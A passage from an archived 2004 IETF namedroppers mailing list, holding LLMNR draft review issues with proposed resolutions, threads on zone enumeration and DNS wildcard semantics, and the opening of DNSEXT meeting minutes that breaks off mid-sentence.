of [RFC2988], paragraph 2.1), the minimum RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5). Recommended values are an initial RTO of 500 ms, a minimum RTO of 100ms, and a maximum RTO of 5 seconds." ------------------------------------------------------------------------ Issue 72: MAYs Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [b] Responders MUST direct responses to the port from which the query > was sent. When queries are received via TCP this is an inherent > part of the transport protocol. For queries received by UDP the > responder MUST take note of the source port and use that as the > destination port in the response. Responses SHOULD always be sent > from the port to which they were directed. SHOULD is no good here, unless you also specify what sender MUST do. > [g] If a responder is authoritative for a name, it MAY respond with > RCODE=0 and an empty answer section, if the type of query does not > match a RR that the responder has. why the MAY? Is this useful? What impact does this have on a recipient?? > As an example, a host configured to respond to LLMNR queries for the > name "foo.example.com." is authoritative for the name > "foo.example.com.". On receiving an LLMNR query for an A RR with the > name "foo.example.com." the host authoritatively responds with A > RR(s) that contain IP address(es) in the RDATA of the resource > record. If the responder has a AAAA RR, but no A RR, and an A RR > query is received, the responder would respond with RCODE=0 and an > empty answer section. above won't happen if [g] is only a MAY.... > If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, > then a sender MAY repeat the transmission of the query in order to > assure that it was received by a host capable of responding to it. MAY? Come on, this should be a SHOULD/MUST. It's hardly robust to do this query exactly one time. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 73 (AD Review): RCODEs/TSIG/DNSSEC Date: Thu, 2 Sep 2004 10:53:04 -0700 (PDT) Lines: 76 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:05:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 73 is enclosed below. The proposed resolution is as follows: In Section 2.9 , change: "Responders SHOULD NOT perform DNS additional section processing, except as required for EDNS0 and DNSSEC." To: "In LLMNR, the additional section is only intended for use by EDNS0, TSIG and SIG(0). As a result, senders MAY only include pseudo RR-types in the additional section of a query; responders MUST ignore the additional section of queries containing other RR types." Change Section 5.4 to: "LLMNR implementations MAY support TSIG and/or SIG(0) security mechanisms. Since LLMNR does not support "delegated trust" (CD or AD bits), and LLMNR senders are unlikely to be DNSSEC-aware, in practice LLMNR is not compatible with DNSSEC. Since LLMNR implementations MAY NOT support TSIG or SIG(0), responses to LLMNR queries may be unauthenticated. If authentication is desired, and a pre-arranged security configuration is possible, then IPsec ESP with a null-transform MAY be used to authenticate unicast LLMNR queries and responses or LLMNR responses to multicast queries. In a small network without a certificate authority, this can be most easily accomplished through configuration of a group pre-shared key for trusted hosts." --------------------------------------------------------------------------- Issue 73: RCODEs/TSIG/DNSSEC Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > LLMNR implementations MUST support EDNS0 [RFC2671] and extended > RCODE values. Is this necessary? Earlier, the spec says non-zero RCODEs must be ignored. Isn't an EDNS0 extended RCODE by definition non-zero (I couldn't quite tell from a quick check, but that would seem to be the case.) > Responders SHOULD NOT perform DNS additional section processing, > except as required for EDNS0 and DNSSEC. DNSSEC is a part of this? > If an LLMNR responder is authoritative for the name in a multicast > query, but an error is encountered, the responder SHOULD send an > LLMNR response with an RCODE of zero, no RRs in the answer section, > and the TC bit set. This will cause the query to be resent using > TCP, and allow the inclusion of a non-zero RCODE in the response to > the TCP query. Responding with the TC bit set is preferable to not > sending a response, since it enables errors to be diagnosed. Don't follow the above. "but an error" is general (not just for too much data to fit in response). Why would requerying with TCP get a better response? -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 74 (AD Review): Partial Responses/TC Bit Date: Thu, 2 Sep 2004 10:54:44 -0700 (PDT) Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:08:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of open and resolved LLMNR Issues is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 74 is enclosed below. The proposed resolution is as follows: In Section 2.1.1, change: "If the TC bit is set in an LLMNR response, then the sender MAY use the response if it contains all necessary information, or the sender MAY discard the response and resend the LLMNR query over TCP using the unicast address of the responder as the destination address. See [RFC2181] and Section 2.4 of this specification for further discussion of the TC bit." To: "If the TC bit is set in an LLMNR response, then the sender SHOULD discard the response and resend the LLMNR query over TCP using the unicast address of the responder as the destination address. See [RFC2181] and Section 2.4 of this specification for further discussion of the TC bit." --------------------------------------------------------------------------- Issue 74: Partial Responses/TC Bit Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > by an LLMNR responder. If the TC bit is set an LLMNR response, > then the sender MAY use the response if it contains all necessary > information, or the sender MAY discard the response and resend the > LLMNR query over TCP using the unicast address of the responder as > the destination address. See [RFC2181] and Section 2.4 of this > specification for further discussion of the TC bit. section 9 of 2181 does not allow use of a partial response. the issue is that one can't know whether all the data that one needs is in the response. Should this spec be deviating from DNS here? I suspect not, especially since truncation should be much less of an issue given the requirement that the link MTU be supported. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 75 (AD Review): Miscellaneous Date: Thu, 2 Sep 2004 10:57:29 -0700 (PDT) Lines: 75 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:13:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of LLMNR Issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 75 is enclosed below. The proposed resolution is as follows: In Section 2.1, change: "When in doubt a maximum packet size of 512 octets SHOULD be used. LLMNR implementations MUST accept UDP queries and responses as large as permitted by the link MTU." To: "When in doubt a maximum packet size of 512 octets SHOULD be used. LLMNR implementations MUST accept UDP queries and responses as large as 8192 octets." In Section 2.1.1, change: "The ID field in a query SHOULD be set to a pseudo-random value." To: "The ID field in a query SHOULD be set to a pseudo-random value. For advice on generation of pseudo-random values, please consult [RFC1750]." Add to non-normative references: [RFC 1750] Eastlake, D., Crocker S. and J. Schiller, "Randomness Recommendations for Security", RFC 1750, December 1994. ----------------------------------------------------------------------- Issue 75: Miscellaneous Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > packet size of 512 octets SHOULD be used. LLMNR implementations MUST > accept UDP queries and responses as large as permitted by the link > MTU. Some links support ridiculous MTUs (e.g., 65K). Would it be useful to place an upper bound on the max size to something big, but not ridiculous? E.g., 5K? 10k? > queries. The ID field in a query SHOULD be set to a pseudo-random > value. Does this need to be unpredictable for security? If so, say so, and perhaps cite the relevant RFC. > Since the responder may order the RRs in the response so as to > indicate preference, the sender SHOULD preserve ordering in the > response to the querying application. this is a change from DNS. > Routable addresses MUST be included first in the response, if > available. This encourages use of routable address(es) for > establishment of new connections. hmm. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 14:26:26 -0400 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:33:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <ilupt544ope.fsf@latte.josefsson.org> To: Simon Josefsson <jas@extundo.com> Precedence: bulk At 18:31 +0200 9/2/04, Simon Josefsson wrote: >Edward Lewis <edlewis@arin.net> writes: > >> [Find] a way to prove the non-existence of a name without >... >> - muddying up the name space with fake names or data sets > >What does this mean? > >The simplest explanation is perhaps an example of a solution that >wouldn't fulfill the requirement. The EXIST record of NSEC2. Having to add hashes of names to the zone. >The reason I ask is that some users may find it useful to fill up the >name space with fake names, when adding NSECbis records. The reason >for doing so would be to make it more difficult to find (arbitrarily >precise) zone size estimates. All NSEC replacement proposals so far >are vulnerable to remote zone size estimates, and DNS without DNSSEC >is not. See section 3 of http://www.links.org/dnssec/requirements.txt Is defending against size estimates a goal/criteria? I haven't seen that presented as a problem (other than to know how successful a brute-force guessing attack has been.) With the criteria I've listed, I don't think it's possible to solve the puzzle. I'm listing what I think are the desirable features of the puzzle solution. In my mind, requirements are "absolutely must have" desirable features. So, by starting with all the desire features, whittling them down, we get to the requirements. Then, we can design and evaluate solutions. I want to add - not all proposals involving hashes "muddy up the name space." It's when the hashes are to be added to the zone that I get queasy. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 02 Sep 2004 20:52:30 +0200 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:00:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 54 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:tu0A4x+hYkFlPQ+OXYPG3BVePlQ= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > At 18:31 +0200 9/2/04, Simon Josefsson wrote: >>Edward Lewis <edlewis@arin.net> writes: >> >>> [Find] a way to prove the non-existence of a name without >>... >>> - muddying up the name space with fake names or data sets >> >>What does this mean? >> >>The simplest explanation is perhaps an example of a solution that >>wouldn't fulfill the requirement. > > The EXIST record of NSEC2. Having to add hashes of names to the zone. Why is that a problem? Is it something more than the increase in the number of owner names in the zone? >>The reason I ask is that some users may find it useful to fill up the >>name space with fake names, when adding NSECbis records. The reason >>for doing so would be to make it more difficult to find (arbitrarily >>precise) zone size estimates. All NSEC replacement proposals so far >>are vulnerable to remote zone size estimates, and DNS without DNSSEC >>is not. See section 3 of http://www.links.org/dnssec/requirements.txt > > Is defending against size estimates a goal/criteria? I haven't seen > that presented as a problem (other than to know how successful a > brute-force guessing attack has been.) I don't know, but I wanted to be bring it up for discussion. Similar to zone enumeration, zone size estimate is a vulnerability that didn't exist with vanilla DNS, which DNSSEC (even with NSECbis) would introduce. I know I'm going to make use of this property to collect statistics about zones. Perhaps some operators doesn't like that idea. Note the subtle wording of my requirement. The requirement isn't that NSECbis should protect against zone size estimate attacks. The requirement is that NSECbis should not exclude implementations to protect against the attack by, e.g., inserting fake names when generating NSECbis records. > I want to add - not all proposals involving hashes "muddy up the name > space." It's when the hashes are to be added to the zone that I get > queasy. I think you lost me here. Could you give an example of a NSECbis proposal that _doesn't_ add hashes to the zone? I thought they all did that. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ted Hardie <hardie@qualcomm.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 12:16:14 -0700 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> <iluhdqg4i6p.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:22:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: hardie@mage.qualcomm.com In-Reply-To: <iluhdqg4i6p.fsf@latte.josefsson.org> To: namedroppers@ops.ietf.org Precedence: bulk This is an engineering trade-off, and I believe it is an appropriate one. The risk (zone enumeration) introduces a new mechanism by which data stored in the DNS is made available (discovery vs. lookup), but all of the data so exposed is already a public part of the zone. Even with the introduction of IRIS (the CRISP protocol) there is no doubt that the introduction of the new mechanism does create operational concerns for some deployments, but dropping it without a replacement loses authenticated denial, which is a far more fundamental part of the system. Any new mechanism introduced to achieve authenticated denial without zone enumeration will have its own trade-offs, which are unknown at this time. An optimist can assume they will be better; a pessimist notes that they must be worst on time of initial deployment and may be worse in other ways. I would support the creation of a working group item for development of DNS-with-ACLs, to be applicable to DNS or DNSSEC zones; I think that would refocus the problem in ways that make the trade offs more clear. The WG may, of course, decide the result is not DNS, but some other service, and that service can go forward on the merits of that need. In the mean time, though, we need to move forward with the current system, which meets all the requirements it was originally intended to meet. regards, Ted -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 15:17:51 -0400 Lines: 112 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> <iluhdqg4i6p.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:25:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <iluhdqg4i6p.fsf@latte.josefsson.org> To: Simon Josefsson <jas@extundo.com> Precedence: bulk At 20:52 +0200 9/2/04, Simon Josefsson wrote: >Edward Lewis <edlewis@arin.net> writes: > >> At 18:31 +0200 9/2/04, Simon Josefsson wrote: >>>Edward Lewis <edlewis@arin.net> writes: >>> >>>> [Find] a way to prove the non-existence of a name without >>>... >>>> - muddying up the name space with fake names or data sets >>> >>>What does this mean? >>> >>>The simplest explanation is perhaps an example of a solution that >>>wouldn't fulfill the requirement. >> >> The EXIST record of NSEC2. Having to add hashes of names to the zone. > >Why is that a problem? Is it something more than the increase in the >number of owner names in the zone? One of the things I look out for is any definition of the protocol that "determines the shape of the tree." I.e., DNS specifications don't describe what zones are in existence (com.). The SRV record does add prefixes to names (_tcp.<hostname>), I'm wary of that still. (The SRV is also "just" a Proposed Standard.) Why worry about this? I've stated a general bias, so the reasons vary by proposal. Specifying that certain zones exist, or that labels are reserved tread into non-engineering matters. Using prefix's on names causes some heartburn with wild cards - i.e., those who use * MX are tempted to then assume they can add _marid._tcp.* records. When it comes to hashed names - if you add hashes as extra labels in the zone, where do you stop? (Note: I am stating this as an example concern. Please don't try to pick this apart, it's out of context of a developed proposal.) Ex. example.com SOA a.example.com A HASH(a).example.com NSEC2 Do you now have to also have HASH(HASH(a)).example.com too? Or are you now saying that half the names in the zone are treated one way and the other another way. What if HASH(a) equals a name that is supposed to be in the zone - how is that name special cased. I mention this as an example. The time to discuss this will be when we get to discussing a proposal that does this. Let's not get into a thread on this until there are requirements laid out. >>>The reason I ask is that some users may find it useful to fill up the >>>name space with fake names, when adding NSECbis records. The reason >>>for doing so would be to make it more difficult to find (arbitrarily >>>precise) zone size estimates. All NSEC replacement proposals so far >>>are vulnerable to remote zone size estimates, and DNS without DNSSEC >>>is not. See section 3 of http://www.links.org/dnssec/requirements.txt >> >> Is defending against size estimates a goal/criteria? I haven't seen >> that presented as a problem (other than to know how successful a >> brute-force guessing attack has been.) > >I don't know, but I wanted to be bring it up for discussion. Similar >to zone enumeration, zone size estimate is a vulnerability that didn't >exist with vanilla DNS, which DNSSEC (even with NSECbis) would >introduce. > >I know I'm going to make use of this property to collect statistics >about zones. Perhaps some operators doesn't like that idea. > >Note the subtle wording of my requirement. The requirement isn't that >NSECbis should protect against zone size estimate attacks. The >requirement is that NSECbis should not exclude implementations to >protect against the attack by, e.g., inserting fake names when >generating NSECbis records. I'd suggest a new mail thread on that. I'm ambivalent on the topic, but a nice subject line would be good to draw in those who might have strong thoughts. Please don't take my words to say that I think this is a non-issue for others, but it is a non-issue for me. >> I want to add - not all proposals involving hashes "muddy up the name >> space." It's when the hashes are to be added to the zone that I get >> queasy. > >I think you lost me here. Could you give an example of a NSECbis >proposal that _doesn't_ add hashes to the zone? I thought they all >did that. Well, we aren't at the stage of solutions now, but I know of some discussions about on-line signing that do not need hashes. (If you find key management bearable, you can sign on-the-fly a negative answer using the query name in places.) I think it's possible to use name hashes without putting the hashed names in the DNS. But I'm waiting until I see requirements before pursuing the idea. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Fri, 03 Sep 2004 02:37:50 +0700 Lines: 187 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:44:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020406bd5cd75cb8dd@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 10:37:35 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020406bd5cd75cb8dd@[192.168.1.100]> | It's true that there is no other restriction on a domain name other | than label and total length. And 1034 does mention that the null | label is reserved for the root - not the null name, but the null | label. (So I think an encoding of "0x00 0x03 A B C" as illegal in | the sense that the label "ABC" is trailing garbage.) No, that's not illegal at all, it just doesn't mean what you you're implying it might mean. The 0 length byte (null label) terminates the label. The bytes that follow it simply aren't part of that label, they're the next data from the packet (if the domain was in the name field, the "0x3 A" would be the type octets, and the "B C" the class). Those are "unusual" type & class values, but not illegal in any way. If this occurred as the start of the RDATA in an SOA, the 0x3 A B C would just be the SOA.rname (or start thereof). In other places they might generate a format error for the packet, but that's still not an illegal domain name. | This doesn't bar us from now defining domain names as illegal - | keeping in mind that anytime we do something for the first time we | run the risk of problems elsewhere. Of course not, we can go around redefining the world however we see fit. We could declare the label "www" illegal if we wanted to. Of course, when we start moving things that have previously been perfectly valid into being illegal, we have to allow for the possibility that people have been using them, quite legitimately, for almost any reason at all (either on the internet, or elsewhere). There has to be a very good reason to make a change like that, and here there is no reason at all. | That's not entirely clear to me. For the moment, let's assume | there's no barring of *.*.example.com. | | Let's say we have there records (assuming IN class all the way): | | example.com SOA | *.example.com A 1.1.1.1 | *.*.example.com A 2.2.2.2 | a.*.example.com A 3.3.3.3 | | Query for (*.example.com A) -> 1.1.1.1 is the return, exact match Queries that have '*' labels were my third case. While perfectly valid, they're unusual, and not what almost anyone is thinking of when we're talking about wildcards (as the '*' in the zone that matches the '*' in the query isn't wildcard at all). | Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com | Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think. | Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com | Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com yes, I agree with all of those. Those ones aren't even doubtful, they're all obvious. The query you need to explain carefully is a.b.example.com. | IOW - *.*.example.com creates a shadow between *.example.com and any | subdomain of that name. Sorry. I have no idea what that means. | Okay, RFC1034 forbids ("discourages") *.*.example.com. Where is that? | Let's strike it from the example. | | example.com SOA | *.example.com A 1.1.1.1 | a.*.example.com A 3.3.3.3 | | Query for (*.example.com A) -> no change from before | Query for (a.example.com A) -> ditto | Query for (a.*.example.com A) -> ditto | Query for (b.*.example.com A) -> NXDOMAIN | Query for (b.a.example.com A) -> no change from before | | There's a change for queries in the shadow of *.example.com - they | become NXDOMAIN if not listed in the zone file. This isn't anything different from any other domain - if a name exists, then a wildcard sibling doesn't apply to any of its sub-domains. What is supposed to be different here? | So - I wouldn't say they are "meaningless." The "meaningless" was in the context of my second case, which was assuming (though perhaps I didn't make this as clear as I should) "normal" queries - the same kind we see every day, with no '*' labels in the name being sought. In that context, these sub-domains of '*' labels are completely meaningless (or perhaps irrelevant is a better word). | Yeah. Maybe I misunderstood the previous "in this message" comment. I wrote the message sequentially, it was correct when I put in that phrase, it may not have remained correct by the time I finished... | In my world, a.*.example.com wouldn't match a.x.example.com, | *.example.com is the match. Yes, absolutely. | Maybe there's the conundrum. In this instance I have an answer for a | name that does not block wild card matching. "x.example.com" returns | data (A) but does not stand in the way of b.x.example.com and | *.example.com. Without DNSSEC, this could be terribly confusing to | the astute resolver. I see nothing confusing at all. Resolvers know nothing of wildcards. When a resolver gets an answer (without dnssec, which does make life more difficult here, but in unavoidable ways I believe) the resolver simply assumes that any answer it gets is an explicit RR in the zone, and any answer it doesn't get (packet transport problems ignored) doesn't exist. No astuteness, or even anything beyond feeble mindedness required at all for this. | My interest in this topic is more than academic (not that you are | insinuating I'm being academic). When I sat in on MARID in May, they | wanted to be able to have a record like: _marid.*.example.com. Yes, that's absurd. Making it clear that cannot work (the way they're imagining) is certainly what this draft should do. But to accomplish that we don't have to, and should not be, making any domain names become illegal. We just need to clarify how the lookup algorithm works (and in the case of CNAME, perhaps, change it, which is really a side issue here). | The options are to stand aside and let this be, No, no matter what we do, the planned interpretation does not, and cannot, ever work. That would take a major redefinition of the DNS lookup algorithms to accomplish, plus deployment of modified servers all over the place. Not likely. | create the notion of | an illegal name, or to muffle the synthesis rules if *.<anydomain> | has a (non-empty) subdomain itself. No, nothing needs changing at all - merely a more explicit statement of the current wildcard lookup procedures. Certainly people don't understand this stuff as well as perhaps they should (and since in general most of us just try to discourage wildcard use in all cases, rather than explain it, that may be understandable). If the method was well understood, no-one would be even suggesting that silly technique. | That's what I've been saying about wild cards for some time. "They | aren't confusing, they're just misunderstood." Yes. So let's fix the problem, not redefine it into something else and then fix that. Let's just clarify how the things work, and (with the possible exception of the way CNAME works), change nothing at all. | The effort is to get everyone to interoperate on this. We want to | stomp on corner cases that have gone haywire. If not for just | academic purity, but to be able to explain to groups like the MARID | WG why "_marid.*.example.com" doesn't behave as they think it does. Sure, we need to do that. But doing that isn't going to fix whatever broken implementations currently exist. What this means is that in practice, however well these odd cases are supposed to be defined, it isn't possible to rely upon them doing what they should. Fortunately, apart from that _marid.*.whatever nonsense, no-one in practice ever attempts to do this kind of thing (and that attempt is simply doomed to fail, even if we were to do nothing - it just may take longer for the authors of that draft to realise it). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 16:13:39 -0400 Lines: 58 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:20:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <22959.1094153870@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 2:37 +0700 9/3/04, Robert Elz wrote: >We could declare the label "www" illegal if we wanted to. Of course, >when we start moving things that have previously been perfectly valid >into being illegal, we have to allow for the possibility that people >have been using them, quite legitimately, for almost any reason at all >(either on the internet, or elsewhere). We moved IQUERY to historic. >I wrote the message sequentially, it was correct when I put in that >phrase, it may not have remained correct by the time I finished... Then I think I've wasted a lot of bit's on this. > | My interest in this topic is more than academic (not that you are > | insinuating I'm being academic). When I sat in on MARID in May, they > | wanted to be able to have a record like: _marid.*.example.com. > >Yes, that's absurd. Making it clear that cannot work (the way they're >imagining) is certainly what this draft should do. > >But to accomplish that we don't have to, and should not be, making >any domain names become illegal. We just need to clarify how the >lookup algorithm works (and in the case of CNAME, perhaps, change it, >which is really a side issue here). From what I've heard, the WG disagrees with this line of reasoning. Just because something is legal doesn't mean it has to remain legal. > | The options are to stand aside and let this be, > >No, no matter what we do, the planned interpretation does not, and >cannot, ever work. That would take a major redefinition of the DNS >lookup algorithms to accomplish, plus deployment of modified servers >all over the place. Not likely. I don't see restricting the names having anything to do with the resolver side. In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says: <anydomain> should not contain other * labels... which is a name restriction already. It seems to me that there was an intent to restrict names involving wild cards. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: =?iso-8859-1?Q?=D3lafur?= Gudmundsson/DNSEXT co-chair <ogud+dnsext@ogud.com> Subject: IETF-60 DNSEXT minutes Date: Thu, 02 Sep 2004 15:27:51 -0400 Lines: 136 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: proceedings@ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:20:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6 To: namedroppers@ops.ietf.org X-Scanned-By: MIMEDefang 2.44 Precedence: bulk [ Moderators note: Post was moderated, either because it was posted by a non-subscriber, or because it was over 20K. With the massive amount of spam, it is easy to miss and therefore delete relevant posts by non-subsrcibers. Please fix your subscription addresses. ] DNSEXT meeting August 2 Scribe: David Blacka Jabber Scribe: George Michaelson Olafur Gudmundsson presented information on one various implementations of DNSSEC. There are number of projects going on in each of the major DNSSEC functional area's. There was a question to the meeting about the weather standardization in all APIs is an item of interest to working group. The sense of the room was that this would be a good thing to do. The chairs are to find people to start work on draft that documents what information is needed to pass to applications, from this specification an API can be formulated. DNSSEC key management or trust anchor maintenance: There were three presentations on approaches to maintain DNSSEC trust anchors. Mike St. John's presented his 